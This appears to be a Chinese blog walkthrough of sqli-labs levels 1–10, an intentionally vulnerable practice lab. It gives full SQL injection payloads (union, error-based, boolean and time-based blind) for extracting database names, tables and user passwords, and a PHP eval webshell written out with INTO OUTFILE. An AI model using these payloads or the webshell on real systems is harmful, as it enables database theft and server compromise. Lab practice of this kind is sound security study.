sqli-labs通关教程----1~10关
最近感觉自己sql注入有点生疏了,想来复习一下,做个记录。
怎么安装网上有很多教程了,不多说了开整。
第一关
1.尝试报错我们在1之后加上‘,根据反馈信息1’后面多了一个‘所以我们想办法闭合用 'or 1=1 --+。注意这里#没作用
2.接下来我们进行Order by 对前面的数据进行排序
id=1’ order by 3 --+
我们用order by 3 --+发现数据回显正常,但是我们发现用order by 4 --+数据回显不正常。 因此数据有三列。然后我们用使用union select 1,2,3联合查询语句查看页面是否有显示位。注意要将id=“1”改为任意一个不存在的id,因为id存在会爆出结果,所以要屏蔽掉
在这里我们补充一下
1)什么是显示位:
我们在进行手工SQL注入的时候会用到ORDER BY 查询列数,然后通过UNION SELECT爆出在网页中的显示位。这个显示位指的是网页中能够显示数据的位置。
举例来说,比如我们通过ORDER BY命令知道了表的列数为11。然后再使用UNION SELECT 1,2,3…,11 from table,网页中显示了信息8,那么说明网页只能够显示第8列中信息,不能显示其他列的信息。也可以理解为网页只开放了8这个窗口,你想要查询数据库信息就必须要通过这个窗口。所以如果我们想要知道某个属性的值,比如admin,就要把admin属性放到8的位置上,这样就能通过第8列爆出admin的信息
2)关于union查询:
使用union联合查询的前提是必须要有显示位,union可合并两个或多个select语句的结果集,前提是两个select必有相同列、且各列的数据类型也相同。当 id 的数据在数据库中不存在时,(此时我们可以 id=-1,两个 sql 语句进行联合操作时,当前一个语句选择的内容为空,我们这里就将后面的语句的内容显示出来)此处前台页面返回了我们构造的 union 的数据。这里还要注意一点的就是如果我们让union之前的id=1,这时候会显示id=1的信息并不会回显union之后的select信息,但是如果我们是id=-1此时不会显示id=1的信息而会显示union之后的信息。
union注入条件
①.只有最后一个select子句允许有order by
②.只有最后一个select子句允许有limit
③.只要union连接的几个查询的字段数一样且列的数据类型转换没有问题,就可以查询出结果
④.注入点页面有回显
3.接下来爆出数据库
192.168.0.100/sqli-labs-master/Less-1/?id=-1’ union select 1,group_concat(schema_name),3 from information_schema.schemata–+
在这里我们看一下两种爆数据库的区别:
http://192.168.0.100/sqli-labs-master/Less-1/?id=-1' union select 1,version(),database()--+
http://192.168.0.100/sqli-labs-master/Less-1/?id=-1' union select 1,group_concat(schema_name),3 from information_schema.schemata--+
第一这是爆出当前的数据库,而第二个爆出的是所有的数据库。在使用了GROUP_CONCAT后,会将所有的数据合并在一起,limit是没有任何效果的。我们查看第一次报错:
可以看出在查询语句中出现了limit限制,因此我们在第二种语句爆出数据库的时候并不会爆出所有的数据库,所以我们用group_concat…
4.接下来我们爆出表名字:
?id=-1' union select 1,group_concat(table_name),3 from information_schema.tables where table_schema='security' --+
5.爆出列名字
?id=-1' union select 1,group_concat(column_name),3 from information_schema.columns where table_name='users' --+
6.爆出内容
/?id=-1' union select 1,username,password from users where id=2 --+
第二关
变成数字型了其他一样
第三关
通过报错发现输入被('')包围之前的是被''包围,所以将'换成')即可
看列数
查表
查列
查列内容
第四关
是输入被 ("")包围,将'替换为("")就行,其他一样
第五关
打开发现只有一个you are in..... 将id改为一个不存在的数值就消失,可以判断是盲注,加单引号就报错,所以有sql注入,
这里可以用 left(),substr(),mid(),ord()等函数
这里可以输入语句然后通过回显来判断是否为真,来一个个猜
这里我们使用一个这里substr函数,先了解什么是substr函数
Select substr(database(),1,1);
意思是使用取出数据库名称的第一个字符一次取出一个,由于mysql对大小写不敏感,用这个函数就可以区别大小写。
那我们如何知道要猜的名称长度,这里再用一个函数,length获得长度,但是基于boolean函数的只能返回真假所以
Length(database())>8
,通过这种方式来猜
先判断要猜解的数据库或者用户名的长度
比如用户名长度
`url?id=1' and length(user())<15 %23
url?id=1' and length(user())=15 %23
url?id=1' and length(user())>15 %23`
判断数据库名长度
测试payload
http://192.168.0.100/sql/less-5/?id=1' and ascii(substr(database(),1,1))>113--+
判断数据库名第一个字符的ascii码大于113,这里不必一个个猜,可以用二分法来判断
就这样一猜,最后得到数据库名security
之后猜表名
http://192.168.0.100/sql/less-5/?id=1' and ascii(substr((select table_name from information_schema.tables where table_schema=database() limit 0,1),1,1))<113--+
获取当前数据库第一个表的表名第一个字符的ascii码小于113,修改limit x,1和substr中的位数限定数字
之后爆列表,一样的步骤将查表名换成查列名
http://192.168.0.100/sql/less-5/?id=1' and ascii(substr((select column_name from information_schema.columns where table_name='users' limit 0,1),1,1))<113--+
这样一步步测试获取列名
然后还是一样的爆出内容
http://192.168.0.100/sql/less-5/?id=1' and ascii(substr((select password from users limit 0,1),1,1))<113--+
这里也可以用报错注入,简单来说就是根据报错的信息来获得想要的信息。
基于updatexml()
id=1' and updatexml(1,version(),0)--+
updataxml(是mysql对xml文档函数进行出巡和修改的Xpath函数)
函数有三个参数第一个数指定xml文档表的字段名称,第二个是指定要替换的位置,第三个是新的值,但这三个值都是错误的。
第一个是不存在的,最后一个0因为前面的是不存在的所以替换也是没有意义的。关键是中间的数值,中间的数值也可以用表达式的形式,函数会把这个表达式执行了然后以报错的形式返回出来。
发现没有返回完整的版本号信息,这里因为我们没有进行处理。
这里我们对函数进行处理加入concat函数意思是将传进去的参数组合成一个字符串打印出来,concat也可以执行表达式也就是将 0x7e和version()结果组合成一个字符串打印出来
kobe' and updatexml(1,concat(0x7e,version()),0)# kobe' and updatexml(1,concat(0x7e,database()),0)#
0x7e是~号的十六进制
id=1' and updatexml(1,concat(0x7e,database()),0)--+
获取表名
and updatexml(1,concat(0x7e,(select table_name from information_schema.tables where table_schema='security' limit 0,1)),0)--+
报错一次只能返回一行,通过limit一个个获取表名。
之后思路一样,继续获取列名,然后获取内容,报错注入还有很多种,比如基于floor(),基于extractvalue(),可以去了解一下。我就直接给截图了。
第六关
一样,只是将单引号换成了双引号。
第七关
测试发现是字符型注入,找了') ") ))之后才发现是'))来闭合
在这里的显示是Use oufile,oufile函数是mysql写入文件的一种函数,经常被用来写入webshell,同时mysql还有个读取文件的函数load_file函数,但是使用之前都需要找到网站的绝对路径。注意这两个函数能否成功执行受到参数secure_file_priv
的影响。
- 其中当参数
secure_file_priv
为空时,对导入导出无限制 - 当值为一个指定的目录时,只能向指定的目录导入导出
- 当值被设置为NULL时,禁止导入导出功能
这个值可以通过命令select @@secure_file_priv
查询。由于这个参数不能动态更改,只能在mysql的配置文件中进行修改,然后重启生效。
文件写入使用into outfile函数:
使用办法如下:
union select 1,"<?php @eval($_GET[x]);?>",3,4,5 into outfile 'C:/Inetpub/wwwroot/cc.php'
我们可以在之前的关卡使用@@datadir或者查看数据库绝对路径
union select 1,2,"<?php @eval($_GET[x]);?>" into outfile 'C:\phpStudy\WWW'
注意这里只能用双反斜杠//如果只用一个反斜杠会出问题,上传成功的cb.php文件内容。
之后就可以用菜刀来连接,然后顺藤摸瓜找到数据库账户密码。
第八关
测试了一下发现不会报错,也不能回显什么,只有you are in 和空白,所以应该是盲注,试了下时间和布尔盲注都可以,基于时间盲注和布尔原理差不多主要就是根据页面延迟显示的时间来判断真假,用第五关的布尔盲注就可以。
这里简单测试下盲注,输入
?id=1' and length(database())>5--+
将>号掉个方向看结果有没有变化,来判断布尔盲注有没有用,后面就继续猜表名,列名,然后内容。
第九关
布尔盲注不行了,这关是时间盲注。先测试
?id=1 and sleep(5)--+
发现明显延迟,证明是时间盲注,然后就可以构造我们的payload
?id=1' and if(substr(database(),1,1)=‘s’,sleep(5),null)--+
通过一个if语句让数据库名称的第一个字符与e进行比较,如果一样就会暂停五秒,如果不等于就为假不暂停。
然后就慢慢进行尝试
爆表名:
http://192.168.0.101/sql/Less-9/?id=1' and if(substr((select table_name from information_schema.tables where table_schema='security' limit 0,1),1,1)='e',sleep(5),1) --+
爆列名:
http://192.168.0.101/sql/Less-9/?id=1' and if(substr((select column_name from information_schema.columns where table_name='users' limit 0,1),1,1)>'e',sleep(5),1) --+
爆内容:
http://192.168.0.101/sql/Less-9/?id=1' and If(ascii(substr((select password from users limit 0,1),1,1))<101,sleep(5),1) --+
第十关
也是时间盲注,就是把单引号换成双引号
爆内容:
http://192.168.0.101/sql/Less-10/?id=1" and If(ascii(substr((select password from users limit 0,1),1,1))<101,sleep(5),1) --+